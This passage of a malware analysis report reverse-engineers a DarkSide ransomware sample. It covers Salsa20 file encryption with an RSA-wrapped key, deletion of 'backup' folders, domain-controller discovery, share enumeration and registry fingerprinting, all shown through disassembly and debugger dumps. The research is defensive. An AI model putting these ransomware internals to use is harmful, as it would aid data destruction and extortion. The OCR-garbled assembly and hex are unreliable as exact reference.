Ltext: 884852538 mov eax, [esi]
Ltext: 88485254 mov ebx, [esi+d]
.text: 884685250 mov ecx, [esit+d]
Ltext: 88485268 mov edx, [esi+BCh]
Ltext: 88485263 shb [edi], eax
Ltext:88485265 sbhb [edit+a], ebx
Ltext:88485268 sbhb [edi+8], ecx
.text:88485268 sbb [edi+BCh], edx
Ltext:8848526E mov eax, [esit+lgh]
Ltext: 88485271 mov ebx, [esit+l4h]
Ltext: 88485274 mov ecx, [esit+ldh]
text: 88485277 mov edx, [esit+lCh]
Jtext:88485274 sbhb [edit+l@h], eax
Ltext:8e485270 sbb [edi+1l4h], ebx
Ltext:88485288 sbhb [edi+1Bh], ecx
Ltext:88485283 shb [edi+lCh], edx
Ltext: 88485286 mov eax, [esit+28h]
.text:88485289 mov ebx, [esi+24h]
Ltext: 88485280 mov ecx, [esit+28h]
Ltext:8848523F mov edx, [esit+2Ch]
Ltext:88485292 shb [edi+28h], eax
.text:08485295 shb [edi+24h], ebx
Ltext:88485298 shb [edi+2Bh], ecx
Ltext:88485298 shb [edi+2Ch], edx
.text:8848529E mov eax, [esi+38h]
Jtext: 88485241 mov ebx, [esit+34h]
Ltext: 88485284 mov ecx, [esit+38h]
Ltext: 88485247 mov edx, [esit+3Ch]
Ltext: 88485288 shh [edit+3@8h], eax
Ltext: 88485240 sbb [edi+34h], ebx
Ltext:884852B88 sbb [edi+3Bh], ecx
Ltext:88485283 sbhb [edi+3Ch], edx
.text:884085286 mov eax, [esi+dah]
Ltext: 88485289 mov ebx, [esi+ddh]
Ltext:884852BC mov ecx, [esi+ddh]
text:8846852BF mov edx, [esi+dCh]
.text:984852C2 shb [edi+48h], eax
Ltext:884852C5 sbhb [edi+44h], ebx
Ltext:884852C8 sbhb [edi+4B8h], ecx
text:884852C8 sbb [edi+4Ch], edx
Ltext:884852CE mov eax, [esit+58h]
Figure 131
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.text:08485199 sub_4@5199 proc near
Ltext: 884685199 mov eax, [esi]
Ltext:884685198 mov ebx, [esi+d]
.text:88468519E mov ecx, [esi+8]
text: 88485141 mov edx, [esi+@Ch]
Jtext: 884685184 adc [edi], eax
Jtext: 88485186 adc [edi+a], ebx
Ltext: 88485149 adc [edi+8], ecx
Jtext:884851AC adc [edi+BCh], edx
Ltext:8846851AF mov eax, [esit+lgh]
Ltext: 884851682 mov ebx, [esit+lah]
text: 88485185 mov ecx, [esit+lh]
text: 88485188 mov edx, [esit+lCh]
Ltext: 884685188 adc [edi+leh], eax
.text:884851BE adc [edi+14h], ebx
Ltext: 88485101 adc [edi+1Bh], ecx
Jtext: 88485104 adc [edi+1Ch], edx
Ltext 1884685107 mov eax, [esit+28h]
.text:884851CA mov ebx, [esi+24h]
Ltext: 884685100 mov ecx, [esit+28h]
text: 88485108 mov edx, [esit+2Ch]
Ltext: 884685103 adc [edit+28h], eax
text:88485106 adc [edi+24h], ebx
Ltext: 884685109 adc [edi+2Bh], ecx
text:8848510C adc [edi+2Ch], edx
text:8848510F mov eax, [esi+3@h]
Ltext:8846851E2 mov ebx, [esit+34h]
text:884851E5 mov ecx, [esit+38h]
text:884851E8 mov edx, [esit+3Ch]
.text:884851EB adc [edit+3@h], eax
text:884851EE adc [edi+34h], ebx
text:884851F1 adc [edi+3Bh], ecx
text:884851F4 adc [edi+3Ch], edx
.text:084851F7 mov eax, [esit+4eh]
Ltext:8846851FA mov ebx, [esit+ddh]
text:884851F0 mov ecx, [esi+d8h]
Jtext: 884852008 mov edx, [esi+dCh]
.text:08485283 adc [edi+48h], eax
Jtext: 884685206 adc [edi+44h], ebx
Ltext: 884685209 adc [edi+4Bh], ecx
text:@e48528C adc [edi+4Ch], edx
Ltext:88468520F mov eax, [esit+58h]
Ltext: 884685212 mov ebx, [esit+54h]
Ltext: 88485215 mov ecx, [esi+58h]
Figure 132

The Salsa20 matrix is encrypted using the custom RSA implementation, as shown in figure 133:

Address | Hex ASCII

027AC0A4 |95 16 3A BE|C3 2F 9B 18|AF C9 F6 69|66 AZ 14 0B|L.:=A .. EOiTe..
D27ACOB4|AC 9E 46 03|CE 95 7D 62 (Bl 9C 43 BC|FF BB 36 62|-.F.I1.}b+.Cuyscb
027ACOC4 |04 AF 65 08(13 26 81 98(B3 3B 12 1E|EO CE 19 39|. e..&..";..al.9
D27ACOD4 |72 BF B4 41|EA C5 3B CE(05 6C 22 1D |67 3F EC 77|ri A8A;1.1".g7iw
027ACOE4| 2D EA 2F 5D |07 86 54 ED|97 CC AF 53|7B 30 FB 0E|-&/]..Z1i.1 s{=0.
027ACOF4|B6 EE E9 BC|79 72 34 DE|F4 19 2B A5 |1E OF A9 56| Yiékyr4.o.+¥. .6V
027AC104|25 D2 70 CA|F3 6D 42 46|72 13 BC 6B|(D5 EO 54 81|xbpEomBFr..kOarT.
027AC114|(9A 08 DD FB|OF EF 9C 42|D3 2B 80 40|6E 5F 77 60|..¥Ye®.7.BO+.@n_w’

Figure 133

There is a custom “hash” function applied to the above encryption result, which produces a 16-byte output:
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Address | Hex ASCII

027ACOA4| 95 16 3A BB|C3 2F 9B 18(AF C9 F6 63|66 AZ 14 0OB|..:»A /.. EOiTE..
027ACOB4|AC 9E 46 03 (CE 95 7D 62|B1l 9C 43 BC|FF BB 36 62 (-.F.I.}h+.Clys6h
027ACOC4 |04 AF 65 08|12 26 81 98|B3 3B 12 1E(E0 CE 19 39|. e..&..%;..a1.9
027ACOD4 |72 BF B4 41(EA C5 3B CE|05 6C 22 1D(67 3F EC 77(r; A8A;1.1".g7Iw
027ACOE4| 2D EA 2F 5D |07 86 SA ED|97 CC AF 53|7B 3D FB OE|-&/]..Z1i.I s{=i.
027ACOF4|B6 EE E9 BC|79 72 34 OE|F4 19 2B AS(1E OF A9 56| fiékyr4.0.+¥..8v
027AC104|25 D2 70 CA|F3 6D 42 46|72 13 BC &B|D5 E0 54 81|xbpEomBFr..kOarT.
027AC114|9A 08 DD FB|0OF EF 9C 42|D3 2B 80 40|6E 5F 77 60|..¥Yd.7.BO0+.@n_w’
027AC1Z24|A9 9A D7 EO|S5A 20 2F 48|13 01 D5 70|C9 C8 AD EE|®.xaZ /H..0OpEE.T

Figure 134

The file content that will be encrypted is appended to the buffer that will be sent to the worker threads:

Address | Hex ASCII

027AC0OA4[95 16 3A BB|C3 2F 9B 18|AF C9 F6 69|66 AZ 14 OB|..:»A /.. EGiTE..
D27ACOE4|AC 9E 46 03 |CE 95 7D 62 (Bl 9C 43 BC|FF BB 36 62|-.F.1.}b+.CHy»cb
027ACOC4| 04 AF 65 08|13 26 81 98|B3 3B 12 1E|EO0 CE 19 39|. e..&..=";..al.9
D27ACOD4|72 BF B4 41|EA C5 3B CE(05 6C 22 1D |67 3F EC 77|ri A8A;1.1".g7iw
027ACOE4|2D EA 2F 5D |07 86 54 ED|97 CC AF 53(7B 30 FB 0E|-&/]..Zi.1I s{=0.
027ACOF4|B6 EE E9 BC |79 72 34 OE|F4 19 2B A5 |1E OF A9 56| Yiekyr4.d.+¥. .8V
027ACL104|25 D2 70 CA|F32 6D 42 46|72 13 BC GB|D5 EO 54 81| xbOpEomBFr..kOarT.
027AC114|9A 08 DD F8|0F EF 9C 42 |D3 2B B0 40|6E 5F 77 60| ..Ye@.i.BO+.@n_w’
027AC124[A9 9A D7 ED|GA 20 2F 48|13 01 D5 70|C9 C8 AD EE|®.xaZ /H..0OpEE.1i
027AC134[ZB 5C 77 74|66 31 5C 66|62 62 64 69|73 5C 61 6E| {\rtf1\fbidis‘an
027AC144|72 69 5C 61|6E 73 69 63|70 67 31 32|35 32 &5C 64| sivansicpgizsz2id
027AC154 |65 66 66 30|5C GE 6F 75|69 63 6F 6D |70 61 74 s5C| effo'nouicompath
027AC164 |64 65 66 6C |61 GE &7 31|30 33 33 7B|5C 66 &6F &E| deflangio3z{‘fon
027AC174|74 74 62 6C|7B 5C 66 30|5C 66 GE 69|6C 5C 66 63| tthl1{‘\fo\Ffnil\fc
027AC1B84 |68 61 72 73|65 74 31 37|38 20 54 61|68 6F 6D &1 harseti78 Tahoma
027AC194|3B 7D 7B S5C|66 31 SC 66|6E 69 6C 5C |66 63 &8 61| ; }{"F1 Fnil\Fcha
027ACLA4 |72 73 65 74|30 20 54 61|68 6F 6D 61(3B 7D 7B 5C| rseto Tahoma;}{%
027ACIB4 |66 32 5C 66|6E 69 6C 5C |66 63 68 61(72 73 g5 74l F28Fnil\Ffcharset
027AC1C4 |32 20 53 79(gD £2 SF &C(3B 7D 7D 0D |0A 7B 5C 63| 2 Symbol;}}..{\c

Figure 135

The Salsa20 matrix is also added to the buffer, and it will be utilized by the worker threads to encrypt the files:

| | 00D405FBL FF 75 Fa push dword ptr ss:|ebp-3])
! e|00a05F8a 8D 83 04 01 00 00 Tea eax,dword ptr ds:[ebx+104] [ebx+1
I 50 push eax
T 8D 83 04 01 00 00 Tea eax,dword ptr ds:[ebx+104] [ebx+1
. 50 push eax
. 8D 43 34 lea eax,dword ptr ds:[ebx+34]
e 50 push eax L
EE——— E8 B9 EC FF FF €all darkside.404C34) v
e 5 |Default (stdcal) +|[s )00 unk
—t 1: [esp] 027ACOG4
darkside.00402C84 2: [esptd] 027AC134
3: [esp+B] 027AC134
¥ 4: [esp+C] 00003259
.Text:00405FC6 darkside.exe:$5FC6 #53C6 5: [esp+10] 00000000

[ PEFS ALY 027AC064
Woump1  @oump2  @pump3  @Woump4  @pumps @ wathi  Irllocls Y Stuct 027Ac134

Address | Hex ASCIT e OG;IFF% 027AC134

027ACO64|[CF CB 3A B9|AD OF 53 EB G4 BE ED 73[04 F9 62 41| TE: .SE. ys.UbA T
027ACO74|13 F8 F1 5B|OE 29 80 90|57 E2 32 AC|BC 23 2A 14 .eA[.)..waz-us=

00003459
027AC030
90| 047 1FF94
7GA7B654| return to kernel32.76ATB654 from 777
00000000
76A78630| kernel32.BaseThreadInitThunk

027AC084|00 0O 00 00|00 00 OO0 00|32 FD 52 72|EB 47 F5 F6|........20Rr
027AC094|45 4F OF 66/F5 FA 17 54(3C F6 DS 6CIAE 21 34 &C| EO.TOL. T<ad12 141
027ACOA4 (95 16 3A BB|C3 2F 9B 18 | AF C9 F6 69|66 A2 14 OB ..:lA,’..iéﬂ-F(..
0D27ACOB4 |AC 9E 46 03|CE 95 7D 62 |B1 9C 43 BC -.F.1.}b+.Cuyseb
027ACOC4| D4 AF 65 08|13 26 81 95(B3 3B 12 1E a| .
027ACOD4 |72 BF B4 41|EA C5 3B CE|05 6C 22 1D|67
027ACOE4| 2D EA 2F 5D|07 86 5A ED|97 CC AF 53|7
027ACOF4 |B6 EE E9 BC|79 72 34 OE |F4 19 2B AS
027AC104 |25 D2 70 CA|F3 6D 42 46|72 13 BC 6B
027AC114| 9A 08 DD F8|OF EF 9C 42|D3 2B 850 40 77 ..Ve.i.B0+. g
027AC124 [A9 9A D7 EO|SA 20 2F 48(13 01 D5 70|C9 C8 AD EE|®©.x&Z /H..OpEE.f
LB SC 72 73|66 31 5C 66|62 69 64 69|73 5C 61 6E| {"rtf1\fbidis\an
027AC144 |73 769 &C 61|6E 73 69 63|70 &7 31 32|36 32 5C 64|sil\ansicpgl2szid
027AC154 |65 66 66 30|5C 6E 6F 75|69 63 6F €D|70 61 74 5C| eff0\nouicompat,
027AC164 |64 65 66 6C|6L 6E 67 31|30 33 33 7B|5C 66 G6F GE|deflangl033{\fon
027AC174|74 74 62 6C|7B 5C 66 30|5C 66 6E 69(6C 5C 66 63| rth1{\fo\fnil\fc
027AC184|68 61 72 73|65 74 31 37(38 20 54 €168 6F 6D 61| harsetl78 Tahoma 27| gt

Figure 136

SCBAFS21
0471FFDC
77044477 | return to ntd11.77044477 from 777
00000000
ED553528,
00000000
00000000
00000000
00000000
00000000
00000000

Thread activity — sub_405E7C (File encryption)

The file content is encrypted using a custom Salsa20 implementation and the ciphertext overwrites the plaintext in the
buffer:
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Address

Hex

D2ZFACOGE4
D2FACOT 4
D2FACOB4
D27FACOS4
D27 ACOAS
D2FACOB4
D2FACOC4H
DZ2FACOD4
D2FACOE4
D27ACOF4
DZFACLO4
D2FACL14
D2FACLZ24
027AC134
DZFACL44
D2FACLS 4
DZFACL1E64
D2FACLT 4
027AC184

Figure 137

A snippet of the custom implementation is presented below:

CF
13
D2
45

Cc8
F&

4F

3A
F1

OF

B9
5B
oo
&6

OE

E5

9F
29

EA

53

i7

EB

54

57
32
3C

E2
FD
E&

32
52
D5

72

o4

EB
AE

F9
23
47
21

&2
2A
F5
34

41
14

F& |

95

o4
72
2D
B&
25
94

16
9E
AF
BF
EA
EE
D2
0}:]

3A
46
&5
B4
2F
E9
70
DD

EB
03
o8
41
5D
BC
CA
Fa

c3
CE
13
EA
o7

79 7

F3
OF

2F
95
26
C5
=13

EF

9B
D
81
3B
A
34
42

18
62
98
CE
ED
OE
46
42

AF
Bl
B3
05
97
F4
72
D3

c9

3B

CcC
19
13
2B

F&
43
12
22
AF
2B

B0

&9

1E

53
AL
6B
40

&6
FF
ED
67
7B
1E
D5
&E

AZ
[=1=]
CE
3F
3D
OF
ED
5F

14
36
19
EC
FB
A9
54
77

0B
62
39
7
OE
56
51
&0

A9

ELY

D7

EOD

A

20

2F

48

13

o1

D5

70

(o]

C8

EE

o3
22
90
B5
36
05

04
C4

62
o9F
E7

10
64

B8
F9
AZ

43
E3
CE
o2
95
A4

AL
7e
D1
Al
FA
32

c4
50
B0
47
29
FC

=
A3
AT
B8
oD
AB

DE
o1
D2
31
JE

DF
ED
03
5D

93

AB
&4
83
c4
TA

aC
36
AS
36
17

78
B4
D6
EA

76

59
F1l
FC

GA
Fl

43
27
4E
19
B3
62

ED
09
2F
3F
1B
Ce

05
D&
D9
(0}
B5
FD

ASCII

IE:

¥R
ED. ToU. T<@d1e 141
.. wA/S.. EGiTH..
-.F.1.}bx.Cuyneb
S R
ri AgA;T.1".g7iw
-&/1..21.1 s{=i.
Nigsyr4. b, +¥. .8V
shpEomBFr. . kdaT.
.. ¥e.i.B0+.@n_w’
8.xaZ /H..OpEE, i
£, . I¥A[k. ;~TYCE,
"AdavPEpR . xA' .0
.. 1IR. §.id6 iiN/D
e e e
6.0U.0..1]A6E]". .
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[l el =]

dexteededDer
text:8e48406F loc_484D6F:
text:8848406F mov eax, [edi]
Jtext 884684071 mov ebx, [edit+l8h]
text: 88484074 mov ecx, [edit+28h]
Ltext: 88484077 mov edx, [edi+38h]
Ltext: 88484074 mov esi, eax
Ltext:88484D07C add esi, edx
text:e8484D7E rol esi, 7
Ltext 188484081 wor ehx, esi
Ltext: 88484083 mov esi, ebx
Ltext: 88484085 add esi, eax
Ltext:eed484D87 rol esi, 9
Ltext: 88484084 wor ecx, esi
Ltext:88484D8C mov esi, ecx
Ltext:88484D8E add esi, ebx
Jtext:eede4D08 rol esi, @Dh
Ltext: 8484093 xor edx, esi
Ltext: 88484095 mov esi, edx
Ltext:ee484097 add esi, ecx
Jtext:eedadDoo rol esi, 12h
Ltext:88484D09C wor eax, esi
Ltext:8848409E mov [edi], eax
Jtext: 88484048 mov [edi+leh], ebx
Ltext: 88484043 mov [edi+28h], ecx
Ltext 88484046 mov [edi+38h], edx
LJtext: 884684049 mov eax, [edit+l4h]
Ltext: 88484040 mov ebx, [edit+24h]
text:8848404F mov ecx, [edit+34h]
Ltext: 88484082 mov edx, [edi+d]
Ltext:88484DE5 mov esi, eax
Ltext:88484DB7 add esi, edx
Jtext: 88484069 rol esi, 7
Ltext:88484DBC wor ebx, esi
Ltext:88484DEE mov esi, ebx
Jext:88484DC6 add esi, eax
Ltext:eed484DC2 rol esi, 9
Ltext:88484DC5 wor ecx, esi
Ltext:ee484DCT mov esi, ecx
Ltext:88d484DC9 add esi, ebx
Ltext:eed484DCE rol esi, @Dh
Ltext:88484DCE xor edx, esi
Ltext: 88484008 mov esi, edx
Ltext: 88484002 add esi, ecx
text: 88484004 rol esi, 12h
Ltext: 88484007 xor eax, esi
Ltext: 88484009 mov [edi+1l4h], eax
Ltext:88468400C mov [edi+24h], ebx
Jtext:8848400F mov [edi+34h], ecx
Ltext:884840E2 mov [edit+a], edx

Figure 138

The encrypted content is written to the initial file, followed by the encrypted Salsa20 matrix and the hash value, as

displayed in the following figures:

Page 45 of 52



https://cybergeeks.tech/astep-by-step-analysis-of-a-new-version-of-darkside-ransomware/

#| 00406016 50 push &
#| 00406017 2 45 F8 Tea eax S cmr ptr ss:[febp-5]
a A 50 push e
. FF 75 F8 push dwur"d ptr ss:[ebp-sli
* 8D 83 04 01 00 00 Tea eax,dword ptr ds: [ahx 104]
o 0o4c 50 push eax
ol 00406025 FF 73 2C push dword ptr ds: [ebx+2C]
——e FF 15 30 07 42 00 call dword ptr ds: [<&writeFiles] - 0
. = Dlerauu(sma\r: = [5 F+] T unk
dword ptr [00420730 <darkside.&nriteFile>]=<kernel3z.writerile> 2: [esp+4] 027AC134
3: esp+8] 00003459
4: [esp+C] D471FF78
.Text: 00406028 darkside.exe:$6028 #5428 5: Esgfl ] 027AC0O30
@ | 0471FF 60 [ETEFE
Woump 1 @oump2  @Woump3  WWoump4  WWoumps @ watch1i  I-llels  # Stuct  fouoiemes|027Aciss
0471FF68 | 00003459
el s AL ” | 0471FFec | 0471FF78
027AC134 [€6] 04 10 27 0471FF70 | 0274C030
027AC144 |22 C4 64 F1 00000000
027AC154|90 84 6C FC 00003459
027AC164|85 62 88 BA 027ACD30
027AC174|36 9F F9 €A 0471FF94
027AC184|05 E7 A2 F1 G & e
027AC194| 68 15 44 95 76A78654| return to kernel3z.7eA7s654 from 777
00000000
gg;ﬁﬁ: Eg g E[: 23 76478630/ kerne132.BaseThreadInitThunk
027AC1C4|C1 B3 E1 59 ot ity
gg;ﬁg: 151'5: Ag gé g; = 77044A77 | return to ntd11.77044A77 from 777
027AC1F4|FA E7 SE 79 05 61 E8 u(A .8.1. v ggg?g?gg
027AC204|69 38 80 CE ED 79 AD|18. »umsm o 1y Sl leciaaon
027AC214|3E 49 63 55 BC D& 52 |>Ii. a.k - OU%ER 0471FEAS || 00000000|
027AC224|4C 2D BC E9 C1 33 05| L-% 0471FFAC || 0o00000D!
027AC234|1C FD D7 BF FE 72 F7 n471FFz0 || DooODO0D
027AC244|1F 94 58 C4 B2 96 F1 i wtimalsoboonan
027AC254|7C 25 43 70 9A BF 5B| |CaSiz. }lEp.. 5 e Spveanty]
® | 0020608D s0 push &
| 0040608E 8 45 Fa Tea eau aword ptr ss:[ebp-sl
. 50 push
. €8 90 00 00 00 push
. 8 13 74 Tea eax dword ptr ds:[ebx+74]
o | 004 50 push eax
o[ 00406098 FF 73 2C push dword ptr ds: [ebx+2C]
EIPy FF 15 30 07 42 00 €all dword ptr ds: [<awriteriles] w =
. - = === 5 Defﬁu\t(sbdalf) >[5 L2 ] unk
000002E4

1:
dword ptr [00420730 <darkside.&WriteFile>]=<kernel3z.WriteFile> 2: e5p+4] 027ACOA4
3: [esp+s] o00ODOSO
4: [esp+C] D471FF78
5

.TEXT: 0040609 darkside.exe: $609E #549E esp+10] 027AC030

<) D0000Z2E4
@ioump1  @4oump2z  @Wpump3  EWoumpa  @pumps @ wawhi  Iellocdls | P stuct

0471FF64| 027AC0A4
TR & 0471FF6S| 00000090
LEs5 _[ReX * | 0471FFec | 0471FF78
027ACOAZ 95 16 3A BE|C3 2F 9B 1B|AF C9 F& 69|66 Az 14 OB 0471FF70 | 027AC030
027ACOB4|AC 9E 46 03 |CE 95 7D 62|Bl 9C 43 BC|FF BB 36 62 00000000
027ACOC4 04 AF 65 08|13 26 81 98|B3 38 12 1E|EO CE 19 39 L 00000000
027ACOD4 |72 BF B4 41 EA C5 3B CE|05 6C 22 1D|67 3F EC 77 027AC030
027ACOE4| 2D EA 2F 5D |07 86 GA ED|97 CC AF 53|7E 3D FB O { 047 1FES0 | 0471FF4
027ACOF4 | B6 EE E9 BC|79 72 34 OE|F4 19 28 A5 |1E OF A9 56 mev.yn &%, < 2. 76A7 v o7eT
027AC104| 25 D2 70 CA|F3 6D 42 46|72 13 BC 6B|D5 E0 54 81| %0) EumEFr LkdaT, OACIREA T conanes ) o en Bennuied: unTAu fnow 2%
027AC114 9A 08 DD F8 OF EF 9C 42 |D3 2B B0 40|6E 5F 77 &0 -BO+.en_w’ «
027AC124|AS 9A D7 EO|SA 20 2F 48|13 01 D5 7D|C9 C8 AD EE|@. xaz /u. OpeE. 1 E}f-.rgﬁi ZE‘;ZEEE? i e

Figure 140
This last idea concludes our analysis of this thread. We continue to analyze the main thread.

If the current directory contains “backup”, then the malware deletes it:

004069C9 53 push ebx ebx
004063CA 56 push esi esi:
FF 15 80 06 42 00 call dword ptr ds:[<awcsicmp>] v
e 3 Daraun(smm\n =[5 =00 unk
[1: [esp] 02773448 L backup”

dword ptr [00420680 <darkside.&wcsicmp>]=<ntdll.wcsicmp> [esp+a] 02778154 L"1025"
[esp+8] 0019FDO8
[esp+C]_0000001F
[esp+10] 00000000

.TEXT:004069CB darkside.exe: $69CE #5DCE

) 02773448 | L"back
Woump1  pump2z  WliDump3 Y4 Dump 4 uumu%smwmm [v=llocals 4 Struct m S

. text:08406A23
.text:88486A23 loc_486A23:
.text:@8486A23 push  [ebp+arg_@]
.text:@B486A26 call  RemoveDirectoryl

Figure 141

The main thread sends the buffer described above (which includes file content to be encrypted etc.) to the worker

threads by calling the PostQueuedCompletionStatus routine:

e AS/iw_c 3 \EMpLY) RS/ ML 3 LEmpLY)
S Rl s s e 3t
e[| 0020893 €A 00 push o KEZIM 62 (ENOTY) (S K EIWE (i S (ERPT
el 00406Fas FF 35 18 0A 42 00 push dword ptr ds:[420A18]

. FF 15 50 07 42 00 €all dword ptr ds:[<&PostQueuedcompletionstatuss>] x87statusword 0000
o [00406FAL €A 00 push o XB7SW_B 0 xB875W.C3 0 X875WC2 O

H o | 00406FA3 64 00 push 0 XB7SW_CL 0 x875W_CO O x875W_ES O

1 # [ 00406FAS 6A 00 push o X87SW_SF 0 X87SW_P 0 X875W.U O

H o | 00406FA7 FF 35 18 OA 42 00 push dword ptr ds:[420A18] - -

: o/ 00s08FAD FF 15 50 07 42 00 :an _dword per ds:[<ePostQueusdcompletionstatuss]

=
> |Defoult tdcal) ~ [5_[5][] unlock

1: [esp. Z7C
2: [esp+4] 00000000
3: [esp+a8] 00000000
4:
5

dword ptr [00420750 <darkside.&PostqueuedCompletionstatus»]=<kernelsz.Postqueuedcompletionstatuss

[esp+C]_00000000

. TeXT:00406F98 darkside.exe:$6F98 #6398 [esp+10] 00000274

& 0000027C
Woump1  @oump2  @oump3  Wloump4  @Moumps @ watchi  Irllocals P Stuct  |Do1SeCED| 00000000
| I ~ || Borarces  aonooono

Figure 142

We’ve also identified a function that we believe it’s used to propagate the malware to domain controllers (we didn’t

have one in our environment). It calls functions such as DsGetDcNameW, DsGetDcOpenW and DsGetDcNextW:
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il i =]

.text:088407F46 lea eax, [ebp+var_34]
.text:88487F49 push eax
.text:80487F44 push e

.text:88487F4C push
.text:88487F4E push
.text:88487F58 push
.text:88487F52 push
.text:88487F54 call DsGetDcNamel
Ltext:e8d487F5A test eax, eax

[ < ]

.text:88487F5C jnz loc_4@82F2
] Y

I
.text:88407F62 lea ecx, [ebp+var_80]
.text:88487F65 mov dword ptr [ecx], 5C8@5Ch
.text:88487F6E mov dword ptr [ecx+4], 738825h
.text:88487F72 mov dword ptr [ecx+8], S5Ch ; "\’
.text:88487F79 mov edi, [ebp+arg @]
.text:88487F7C mov ecx, [ebpt+var_34]
.text:88407F7F lea eax, [ebp+var_1@]

.text:80487F82 push eax

Ltext:08487F83 push a

.text:80487F85 push e

.text:80487F87 push a

.text:80487F89 push a

.text:80487F8B push 2

.text:88487F8D push dword ptr [ecx+1Ch]
.text:80487F90 call DsGetDcOpenkd
Ltext:88487F96 test eax, eax

Ltext:08407F98 jnz loc_4@8881A

Lol s =5
LJext:eedd7rOE
Ltext:88487F9E loc_487F9E:
Ltext:08487F9E lea eax, [ebp+P]
Ltext:8e487FAL push eax
Ltext:8@487FA2 push @
Ltext:@e487FAL push <]
Ltext:88487FAE push [ebp+var_1@8]
text:8e487FAS call DsGetDcNexti

Figure 143

Darkside enumerates all network shares using the NetShareEnum API and encrypts each one of them by the main

encryption routine described so far:
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il e 5=

.text:BB4B7E2T |
SdextieadaVEZT

Stext:@e4a7E2Y ; Attributes: bp-based frame
JtextieadaveE2d

Ltext:@B487E2T sub_4B7E27 proc near
JextresdavELT

Jtext:@e487E2Y arg_ 8= dword ptr 3
JextiesdavE2T

Ltext:@B487E27 push ebp

text:BB487E2E mov ebp, esp
Jtext:BB487EZA mov ebx, [ebptarg_e]
Jtext:@B487E2D cmp dword ptr [ebx], @
.text:804687E30 jz short loc_487E39

¥

Ll e [=

Jtext:@B487E32 push dword ptr [ebx] ; ExistingTokenHandle
text:884687E34 call sub_481B71

il s =]

Jexteed4a7vEIS

.text:80487E39 loc_487E39:

Ltext:88487E32 push dword ptr [ebx+1Ch]
text:88487E3C push dword ptr [ebx+18h]
text:88487E3F push dword ptr [ebx+l4h]
Jtext:88487E42 push dword ptr [ebx+l8h]
Jtext:88487E45 push dword ptr [ebx+8Ch]
Jtext:88487E4E push dword ptr [ebx+8]
Ltext:B8487E4B push dword ptr [ebx+4]
Ltext:BB487E4E call NetShareEnum
text:88487ESS pop ebp

text:88487ESS retn 4

Ltext:@8487ES5S sub_487E27 endp
Jtext:eedavESS

Figure 144
Thread activity — sub_4096A4

The following JSON is decrypted by the thread:

Address | Hex ASCII
026C79A0 (7B OD OA 22(69 64 22 3A(22 25 73 22(2C 0D 0A 22| {.."i1d":"%s",.
026_79B0 |75 69 64 Z2|(3A 22 25 73|22 2C 0D 0OA|22 65 GE 63 uid“:“%s“,..“enc
026C79C0| 2D GE 75 6D |22 3A 22 25|75 22 2C OD|0OA 22 65 GE|-num": "%u™, "en
DZ26C79D0(63 2D 73 69|7A B5 22 3A|22 25 73 22(2C OD DA 22| c-size": “%5“ o
02eC72E0| 73 6B €9 FO|2D GE 75 6D |22 3A 22 25|75 22 2C OD 5k1p num™ : “%u“
026C79FD|0A 22 65 GC|61 70 73 65|64 2D 74 69(6D 65 22 3A|."elapsed-time"
02e’7A00| 22 25 75 ZE|(25 75 22 0D |0A 7D 00 AB|AB AE AB AB “%u.%u?..}.a«aaa

Figure 145

The file opens the following registry key by calling RegCreateKeyExW:
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Figure 146

A SR
! ik o PrCome: Heap x87TW_4 3 (Empty) xB7TW_5 3 (Empty)
o i XB7TW_6 3 (Empty) xB7TW 7 3 (Empty)
68 19 01 02 00 push 20119
6A 00 push 0 x87statusword 0000
6A 00 push 0 XB7SW_B X87SW_C3 0 XxXB7SW_C2 O
6A 00 pusl k. X87SW_C1 0 x87SW_CO 0O XB7SW_ES O
FF 75 EB pus| rd ptr ss:[febp-15] [ebp-1 XB7SW_SF 0 X87SW_P 0 X87SW U 0O
68 02 00 0D 80 push 80000002
FF 15 EC 07 42 00 call dword ptr ds:[<&RegCreateKkeyExws] v
e = L | Default (stdcal) -
1: [es
dword ptr [004207EC <darkside.&RegCreatekeyExw>]=<advapiiz.RegCreateKeyExn> 2 55'514] 02673680 L"SOFTWARE'\\M1Crosofty\wind:
3: [esp+s] 00000000
r 4: [esptC]_ 00000000
.text:D040BEBE darkside.exe:S8EBE #8288 st [espt1d] 0OD0ODOD
i I T T 5 @ 30000002
@pimp1  gpump2  Whoump3s  Wypumps  Wyoumps @ watchi  bellocs P stuct 02673680 | L"SOFTWARE\\Microsoft\\windows NT\\Currentversion"
Address Hex
026C79A0|7B DD OA 22|69 64 22 3A|22 25 73 22|2C 0D
026C79B0 |75 69 64 22|3A 22 25 73|22 2C 0D 0A|22 65 m
026C75C0|2D GE 75 6D |22 3A 22 25|75 22 2C OD|DA 22 e o
026C7300| 63 2D 73 69|7A 65 22 3A|22 25 73 22[2C OD Pt
026C73E0 RRa G0 B2 cONED, BE A N es an en T Ts 2eP 0460FES4| 0460FF24

again by calling the RegQueryValueExW function:

5 e = = xosiW_4 3 LEMpLY) xS/ Iw_> 5 LEmpLy)
. G4 FF FF FF Tea eax,dword ptr ss:[ ebp-5cl X87TW_E 3 (EMPTy)  X87TW.7 3 (Empty)
. push eax
. F4 lea eax,dword ptr ss:[febp-cl] x87Statusword 0000
. push eax X87SW_B 0 X87SW.C3 0 XE7SWCZ O
o push 0 X87SW_CL O x87SWCO 0 XB7SW_ES 0O
. E4 push dword ptr ss:|[febp-1cl [ebp-1 | X87SW_SF O X87SW_P 0 Xx87SW_U O
. F8 push dword ptr ss:[ebp-s] =
Eg—e FF 15 F4 07 42 00 €all dword ptr ds:[<&RegQueryvalueexw=] w
. S e , | Default (stacal) ~ |[5_[£]00 unik
es| a 3C
dword ptr [004207F4 <darkside.&RegQueryvalleExw>]=<advapi32.RegqueryvalueExns Eesgls 02611660 L"ProductId”
[esp+8] 00000000
: [esp+C]_D460FF2C
.TexXt:00408EEE darkside.exe: $8EEE #82EE [esp+10] 0460FESC
3 0000083C
Woump:  @yoump2  @HDump3  §Houmpa  @4pumps @ watch1 | Ir-llocals 4 Struct D460FE74 | 02611660 | L"ProductId”
‘0460FE7 8 | 00000000
SEEEEES L | Asczz | * | D460FE7C | 0460FF2C
026C79A0| 7B OD DA 22|69 64 22 3A|22 25 73 22|2C 0D 0OA 22 { id g 04G0FES0 | 0460FESC
ozecromd|7s €2 €4 22(34 22 25 7322 € 00 0A22 &5 ek 3|uid Ciorces bicorras

Figure 147

The machine GUID is extracted from the registry and represents a unique identifier for the machine:

Figure 149

. - PSR e ey o s i
: el v x87TW_2 3 (Empty) XB7TW_3 3 (Empty)
i ?3 REEIRS éﬁghe:;;‘d“”d ptr ss:[jebp-4§ X87TW_4 3 (Empty) xB7TW_5 3 (Empty)
